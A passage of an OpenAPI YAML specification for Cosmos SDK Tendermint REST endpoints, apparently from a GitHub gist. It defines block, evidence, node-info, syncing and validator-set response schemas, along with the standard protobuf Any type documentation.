| format: int64 | |
| timestamp: | |
| type: string | |
| format: date-time | |
| description: >- | |
| LightClientAttackEvidence contains evidence of a | |
| set of validators attempting to mislead a light | |
| client. | |
| last_commit: | |
| type: object | |
| properties: | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| signatures: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| block_id_flag: | |
| type: string | |
| enum: | |
| - BLOCK_ID_FLAG_UNKNOWN | |
| - BLOCK_ID_FLAG_ABSENT | |
| - BLOCK_ID_FLAG_COMMIT | |
| - BLOCK_ID_FLAG_NIL | |
| default: BLOCK_ID_FLAG_UNKNOWN | |
| title: >- | |
| BlockIdFlag indicates which BlcokID the | |
| signature is for | |
| validator_address: | |
| type: string | |
| format: byte | |
| timestamp: | |
| type: string | |
| format: date-time | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| CommitSig is a part of the Vote included in a | |
| Commit. | |
| description: >- | |
| Commit contains the evidence that a block was committed by | |
| a set of validators. | |
| sdk_block: | |
| title: 'Since: cosmos-sdk 0.47' | |
| type: object | |
| properties: | |
| header: | |
| type: object | |
| properties: | |
| version: | |
| title: basic block info | |
| type: object | |
| properties: | |
| block: | |
| type: string | |
| format: uint64 | |
| app: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| Consensus captures the consensus rules for processing | |
| a block in the blockchain, | |
| including all blockchain data structures and the rules | |
| of the application's | |
| state transition machine. | |
| chain_id: | |
| type: string | |
| height: | |
| type: string | |
| format: int64 | |
| time: | |
| type: string | |
| format: date-time | |
| last_block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| last_commit_hash: | |
| type: string | |
| format: byte | |
| title: hashes of block data | |
| data_hash: | |
| type: string | |
| format: byte | |
| validators_hash: | |
| type: string | |
| format: byte | |
| title: hashes from the app output from the prev block | |
| next_validators_hash: | |
| type: string | |
| format: byte | |
| consensus_hash: | |
| type: string | |
| format: byte | |
| app_hash: | |
| type: string | |
| format: byte | |
| last_results_hash: | |
| type: string | |
| format: byte | |
| evidence_hash: | |
| type: string | |
| format: byte | |
| title: consensus info | |
| proposer_address: | |
| type: string | |
| description: >- | |
| proposer_address is the original block proposer | |
| address, formatted as a Bech32 string. | |
| In Tendermint, this type is `bytes`, but in the SDK, | |
| we convert it to a Bech32 string | |
| for better UX. | |
| description: Header defines the structure of a Tendermint block header. | |
| data: | |
| type: object | |
| properties: | |
| txs: | |
| type: array | |
| items: | |
| type: string | |
| format: byte | |
| description: >- | |
| Txs that will be applied by state @ block.Height+1. | |
| NOTE: not all txs here are valid. We're just agreeing | |
| on the order first. | |
| This means that block.AppHash does not include these | |
| txs. | |
| title: >- | |
| Data contains the set of transactions included in the | |
| block | |
| evidence: | |
| type: object | |
| properties: | |
| evidence: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| duplicate_vote_evidence: | |
| type: object | |
| properties: | |
| vote_a: | |
| type: object | |
| properties: | |
| type: | |
| type: string | |
| enum: | |
| - SIGNED_MSG_TYPE_UNKNOWN | |
| - SIGNED_MSG_TYPE_PREVOTE | |
| - SIGNED_MSG_TYPE_PRECOMMIT | |
| - SIGNED_MSG_TYPE_PROPOSAL | |
| default: SIGNED_MSG_TYPE_UNKNOWN | |
| description: >- | |
| SignedMsgType is a type of signed | |
| message in the consensus. | |
| - SIGNED_MSG_TYPE_PREVOTE: Votes | |
| - SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| timestamp: | |
| type: string | |
| format: date-time | |
| validator_address: | |
| type: string | |
| format: byte | |
| validator_index: | |
| type: integer | |
| format: int32 | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| Vote represents a prevote, precommit, or | |
| commit vote from validators for | |
| consensus. | |
| vote_b: | |
| type: object | |
| properties: | |
| type: | |
| type: string | |
| enum: | |
| - SIGNED_MSG_TYPE_UNKNOWN | |
| - SIGNED_MSG_TYPE_PREVOTE | |
| - SIGNED_MSG_TYPE_PRECOMMIT | |
| - SIGNED_MSG_TYPE_PROPOSAL | |
| default: SIGNED_MSG_TYPE_UNKNOWN | |
| description: >- | |
| SignedMsgType is a type of signed | |
| message in the consensus. | |
| - SIGNED_MSG_TYPE_PREVOTE: Votes | |
| - SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| timestamp: | |
| type: string | |
| format: date-time | |
| validator_address: | |
| type: string | |
| format: byte | |
| validator_index: | |
| type: integer | |
| format: int32 | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| Vote represents a prevote, precommit, or | |
| commit vote from validators for | |
| consensus. | |
| total_voting_power: | |
| type: string | |
| format: int64 | |
| validator_power: | |
| type: string | |
| format: int64 | |
| timestamp: | |
| type: string | |
| format: date-time | |
| description: >- | |
| DuplicateVoteEvidence contains evidence of a | |
| validator signed two conflicting votes. | |
| light_client_attack_evidence: | |
| type: object | |
| properties: | |
| conflicting_block: | |
| type: object | |
| properties: | |
| signed_header: | |
| type: object | |
| properties: | |
| header: | |
| type: object | |
| properties: | |
| version: | |
| title: basic block info | |
| type: object | |
| properties: | |
| block: | |
| type: string | |
| format: uint64 | |
| app: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| Consensus captures the consensus rules | |
| for processing a block in the | |
| blockchain, | |
| including all blockchain data structures | |
| and the rules of the application's | |
| state transition machine. | |
| chain_id: | |
| type: string | |
| height: | |
| type: string | |
| format: int64 | |
| time: | |
| type: string | |
| format: date-time | |
| last_block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| last_commit_hash: | |
| type: string | |
| format: byte | |
| title: hashes of block data | |
| data_hash: | |
| type: string | |
| format: byte | |
| validators_hash: | |
| type: string | |
| format: byte | |
| title: >- | |
| hashes from the app output from the prev | |
| block | |
| next_validators_hash: | |
| type: string | |
| format: byte | |
| consensus_hash: | |
| type: string | |
| format: byte | |
| app_hash: | |
| type: string | |
| format: byte | |
| last_results_hash: | |
| type: string | |
| format: byte | |
| evidence_hash: | |
| type: string | |
| format: byte | |
| title: consensus info | |
| proposer_address: | |
| type: string | |
| format: byte | |
| description: >- | |
| Header defines the structure of a | |
| Tendermint block header. | |
| commit: | |
| type: object | |
| properties: | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| signatures: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| block_id_flag: | |
| type: string | |
| enum: | |
| - BLOCK_ID_FLAG_UNKNOWN | |
| - BLOCK_ID_FLAG_ABSENT | |
| - BLOCK_ID_FLAG_COMMIT | |
| - BLOCK_ID_FLAG_NIL | |
| default: BLOCK_ID_FLAG_UNKNOWN | |
| title: >- | |
| BlockIdFlag indicates which BlcokID the | |
| signature is for | |
| validator_address: | |
| type: string | |
| format: byte | |
| timestamp: | |
| type: string | |
| format: date-time | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| CommitSig is a part of the Vote included | |
| in a Commit. | |
| description: >- | |
| Commit contains the evidence that a | |
| block was committed by a set of | |
| validators. | |
| validator_set: | |
| type: object | |
| properties: | |
| validators: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| format: byte | |
| pub_key: | |
| type: object | |
| properties: | |
| ed25519: | |
| type: string | |
| format: byte | |
| secp256k1: | |
| type: string | |
| format: byte | |
| title: >- | |
| PublicKey defines the keys available for | |
| use with Tendermint Validators | |
| voting_power: | |
| type: string | |
| format: int64 | |
| proposer_priority: | |
| type: string | |
| format: int64 | |
| proposer: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| format: byte | |
| pub_key: | |
| type: object | |
| properties: | |
| ed25519: | |
| type: string | |
| format: byte | |
| secp256k1: | |
| type: string | |
| format: byte | |
| title: >- | |
| PublicKey defines the keys available for | |
| use with Tendermint Validators | |
| voting_power: | |
| type: string | |
| format: int64 | |
| proposer_priority: | |
| type: string | |
| format: int64 | |
| total_voting_power: | |
| type: string | |
| format: int64 | |
| common_height: | |
| type: string | |
| format: int64 | |
| byzantine_validators: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| format: byte | |
| pub_key: | |
| type: object | |
| properties: | |
| ed25519: | |
| type: string | |
| format: byte | |
| secp256k1: | |
| type: string | |
| format: byte | |
| title: >- | |
| PublicKey defines the keys available for | |
| use with Tendermint Validators | |
| voting_power: | |
| type: string | |
| format: int64 | |
| proposer_priority: | |
| type: string | |
| format: int64 | |
| total_voting_power: | |
| type: string | |
| format: int64 | |
| timestamp: | |
| type: string | |
| format: date-time | |
| description: >- | |
| LightClientAttackEvidence contains evidence of a | |
| set of validators attempting to mislead a light | |
| client. | |
| last_commit: | |
| type: object | |
| properties: | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| signatures: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| block_id_flag: | |
| type: string | |
| enum: | |
| - BLOCK_ID_FLAG_UNKNOWN | |
| - BLOCK_ID_FLAG_ABSENT | |
| - BLOCK_ID_FLAG_COMMIT | |
| - BLOCK_ID_FLAG_NIL | |
| default: BLOCK_ID_FLAG_UNKNOWN | |
| title: >- | |
| BlockIdFlag indicates which BlcokID the | |
| signature is for | |
| validator_address: | |
| type: string | |
| format: byte | |
| timestamp: | |
| type: string | |
| format: date-time | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| CommitSig is a part of the Vote included in a | |
| Commit. | |
| description: >- | |
| Commit contains the evidence that a block was committed by | |
| a set of validators. | |
| description: >- | |
| Block is tendermint type Block, with the Header proposer | |
| address | |
| field converted to bech32 string. | |
| description: >- | |
| GetBlockByHeightResponse is the response type for the | |
| Query/GetBlockByHeight RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: height | |
| in: path | |
| required: true | |
| type: string | |
| format: int64 | |
| tags: | |
| - Service | |
| /cosmos/base/tendermint/v1beta1/node_info: | |
| get: | |
| summary: GetNodeInfo queries the current node info. | |
| operationId: GetNodeInfo | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| default_node_info: | |
| type: object | |
| properties: | |
| protocol_version: | |
| type: object | |
| properties: | |
| p2p: | |
| type: string | |
| format: uint64 | |
| block: | |
| type: string | |
| format: uint64 | |
| app: | |
| type: string | |
| format: uint64 | |
| default_node_id: | |
| type: string | |
| listen_addr: | |
| type: string | |
| network: | |
| type: string | |
| version: | |
| type: string | |
| channels: | |
| type: string | |
| format: byte | |
| moniker: | |
| type: string | |
| other: | |
| type: object | |
| properties: | |
| tx_index: | |
| type: string | |
| rpc_address: | |
| type: string | |
| application_version: | |
| type: object | |
| properties: | |
| name: | |
| type: string | |
| app_name: | |
| type: string | |
| version: | |
| type: string | |
| git_commit: | |
| type: string | |
| build_tags: | |
| type: string | |
| go_version: | |
| type: string | |
| build_deps: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| path: | |
| type: string | |
| title: module path | |
| version: | |
| type: string | |
| title: module version | |
| sum: | |
| type: string | |
| title: checksum | |
| title: Module is the type for VersionInfo | |
| cosmos_sdk_version: | |
| type: string | |
| title: 'Since: cosmos-sdk 0.43' | |
| description: VersionInfo is the type for the GetNodeInfoResponse message. | |
| description: >- | |
| GetNodeInfoResponse is the response type for the Query/GetNodeInfo | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Service | |
| /cosmos/base/tendermint/v1beta1/syncing: | |
| get: | |
| summary: GetSyncing queries node syncing. | |
| operationId: GetSyncing | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| syncing: | |
| type: boolean | |
| description: >- | |
| GetSyncingResponse is the response type for the Query/GetSyncing | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Service | |
| /cosmos/base/tendermint/v1beta1/validatorsets/latest: | |
| get: | |
| summary: GetLatestValidatorSet queries latest validator-set. | |
| operationId: GetLatestValidatorSet | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| block_height: | |
| type: string | |
| format: int64 | |
| validators: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| pub_key: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the | |
| type of the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's | |
| path must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be | |
| in a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the | |
| binary all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can | |
| optionally set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results | |
| based on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available | |
| in the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty | |
| scheme) might be | |
| used with impleme |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment